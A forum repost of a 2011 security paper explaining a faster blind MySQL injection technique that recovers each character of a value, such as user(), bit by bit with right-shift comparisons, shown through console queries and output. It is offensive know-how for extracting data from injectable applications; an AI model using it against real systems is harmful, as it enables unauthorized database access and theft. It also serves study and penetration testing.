Jump to content
ionut97

Faster Blind MySQL Injection Using Bit Shifting

Recommended Posts

Faster Blind MySQL Injection Using Bit Shifting

###

# Faster blind MySQL injection using bit shifting | Ack Ack for a HTML version

# Made by Jelmer de Hen

# H.ackAck.net

#####

While strolling through mysql.com I came across this page MySQL :: MySQL 5.0 Reference Manual :: 12.11 Bit Functions.

There you can view the possibility of the bitwise function right shift.

A bitwise right shift will shift the bits 1 location to the right and add a 0 to the front.

Here is an example:

mysql> select ascii(b'00000010');

+--------------------+

| ascii(b'00000010') |

+--------------------+

| 2 |

+--------------------+

1 row in set (0.00 sec)

Right shifting it 1 location will give us:

mysql> select ascii(b'00000010') >> 1;

+-------------------------+

| ascii(b'00000010') >> 1 |

+-------------------------+

| 1 |

+-------------------------+

1 row in set (0.00 sec)

It will add a 0 at the front and remove 1 character at the end.

00000010 = 2

00000010 >> 1 = 00000001

^ ^

0 shifted

So let's say we want to find out a character of a string during blind MySQL injection and use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests.

First we split the ascii table in half and try if it's on 1 side or the other, that leaves us ~64 possible characters.

Next we chop it in half again which will give us 32 possible characters.

Then again we get 16 possible characters.

After the next split we have 8 possible characters and from this point it's most of the times guessing or splitting it in half again.

Let's see if we can beat that technique by optimizing this - but first more theory about the technique I came up with.

There are always 8 bits reserved for ASCII characters.

An ASCII character can be converted to it's decimal value as you have seen before:

mysql> select ascii('a');

+------------+

| ascii('a') |

+------------+

| 97 |

+------------+

1 row in set (0.00 sec)

This will give a nice int which can be used as binary.

a = 01100001

If we would left shift this character 7 locations to the right you would get:

00000000

The first 7 bits are being added by the shift, the last character remains which is 0.

mysql> select ascii('a') >> 7;

+-----------------+

| ascii('a') >> 7 |

+-----------------+

| 0 |

+-----------------+

1 row in set (0.00 sec)

a = 01100001

01100001 >> 7 == 00000000 == 0

01100001 >> 6 == 00000001 == 1

01100001 >> 5 == 00000011 == 3

01100001 >> 4 == 00000110 == 6

01100001 >> 3 == 00001100 == 12

01100001 >> 2 == 00011000 == 24

01100001 >> 1 == 00110000 == 48

01100001 >> 0 == 01100001 == 97

When we did the bitshift of 7 we had 2 possible outcomes - 0 or 1 and we can compare it to 0 and 1 and determine that way if it was 1 or 0.

mysql> select (ascii('a') >> 7)=0;

+---------------------+

| (ascii('a') >> 7)=0 |

+---------------------+

| 1 |

+---------------------+

1 row in set (0.00 sec)

It tells us that it was true that if you would shift it 7 bits the outcome would be equal to 0.

Once again, if we would right shift it 6 bits we have the possible outcome of 1 and 0.

mysql> select (ascii('a') >> 6)=0;

+---------------------+

| (ascii('a') >> 6)=0 |

+---------------------+

| 0 |

+---------------------+

1 row in set (0.00 sec)

This time it's not true so we know the first 2 bits of our character is "01".

If the next shift will result in "010" it would equal to 2; if it would be "011" the outcome would be 3.

mysql> select (ascii('a') >> 5)=2;

+---------------------+

| (ascii('a') >> 5)=2 |

+---------------------+

| 0 |

+---------------------+

1 row in set (0.00 sec)

It is not true that it is 2 so now we can conclude it is "011".

The next possible options are:

0110 = 6

0111 = 7

mysql> select (ascii('a') >> 4)=6;

+---------------------+

| (ascii('a') >> 4)=6 |

+---------------------+

| 1 |

+---------------------+

1 row in set (0.00 sec)

We got "0110" now and looking at the table for a above here you can see this actually is true.

Let's try this on a string we actually don't know, user() for example.

First we shall right shift with 7 bits, possible results are 1 and 0.

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

+--------------------------------------+

| (ascii((substr(user(),1,1))) >> 7)=0 |

+--------------------------------------+

| 1 |

+--------------------------------------+

1 row in set (0.00 sec)

We now know that the first bit is set to 0.

0???????

The next possible options are 0 and 1 again so we compare it with 0.

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+--------------------------------------+

| (ascii((substr(user(),1,1))) >> 6)=0 |

+--------------------------------------+

| 0 |

+--------------------------------------+

1 row in set (0.00 sec)

Now we know the second bit is set to 1.

01??????

Possible next options are:

010 = 2

011 = 3

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+--------------------------------------+

| (ascii((substr(user(),1,1))) >> 5)=2 |

+--------------------------------------+

| 0 |

+--------------------------------------+

1 row in set (0.00 sec)

Third bit is set to 1.

011?????

Next options:

0110 = 6

0111 = 7

mysql> select (ascii((substr(user(),1,1))) >> 4)=6;

+--------------------------------------+

| (ascii((substr(user(),1,1))) >> 4)=6 |

+--------------------------------------+

| 0 |

+--------------------------------------+

1 row in set (0.00 sec)

This bit is also set.

0111????

Next options:

01110 = 14

01111 = 15

mysql> select (ascii((substr(user(),1,1))) >> 3)=14;

+---------------------------------------+

| (ascii((substr(user(),1,1))) >> 3)=14 |

+---------------------------------------+

| 1 |

+---------------------------------------+

1 row in set (0.00 sec)

01110???

Options:

011100 = 28

011101 = 29

mysql> select (ascii((substr(user(),1,1))) >> 2)=28;

+---------------------------------------+

| (ascii((substr(user(),1,1))) >> 2)=28 |

+---------------------------------------+

| 1 |

+---------------------------------------+

1 row in set (0.00 sec)

011100??

Options:

0111000 = 56

0111001 = 57

mysql> select (ascii((substr(user(),1,1))) >> 1)=56;

+---------------------------------------+

| (ascii((substr(user(),1,1))) >> 1)=56 |

+---------------------------------------+

| 0 |

+---------------------------------------+

1 row in set (0.00 sec)

0111001?

Options:

01110010 = 114

01110011 = 115

mysql> select (ascii((substr(user(),1,1))) >> 0)=114;

+----------------------------------------+

| (ascii((substr(user(),1,1))) >> 0)=114 |

+----------------------------------------+

| 1 |

+----------------------------------------+

1 row in set (0.00 sec)

Alright, so the binary representation of the character is:

01110010

Converting it back gives us:

mysql> select b'01110010';

+-------------+

| b'01110010' |

+-------------+

| r |

+-------------+

1 row in set (0.00 sec)

So the first character of user() is "r".

With this technique we can assure that we have the character in 8 requests.

Further optimizing this technique can be done.

The ASCII table is just 127 characters which is 7 bits per character so we can assume we will never go over it and decrement this technique with 1 request per character.

Chances are higher the second bit will be set to 1 since the second part of the ASCII table (characters 77-127) contain the characters a-z A-Z - the first part however contains numbers which are also used a lot but when automating it you might just want to try and skip this bit and immediatly try for the next one.

© Offensive Security 2011

Source:Vulnerability analysis, Security Papers, Exploit Tutorials

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...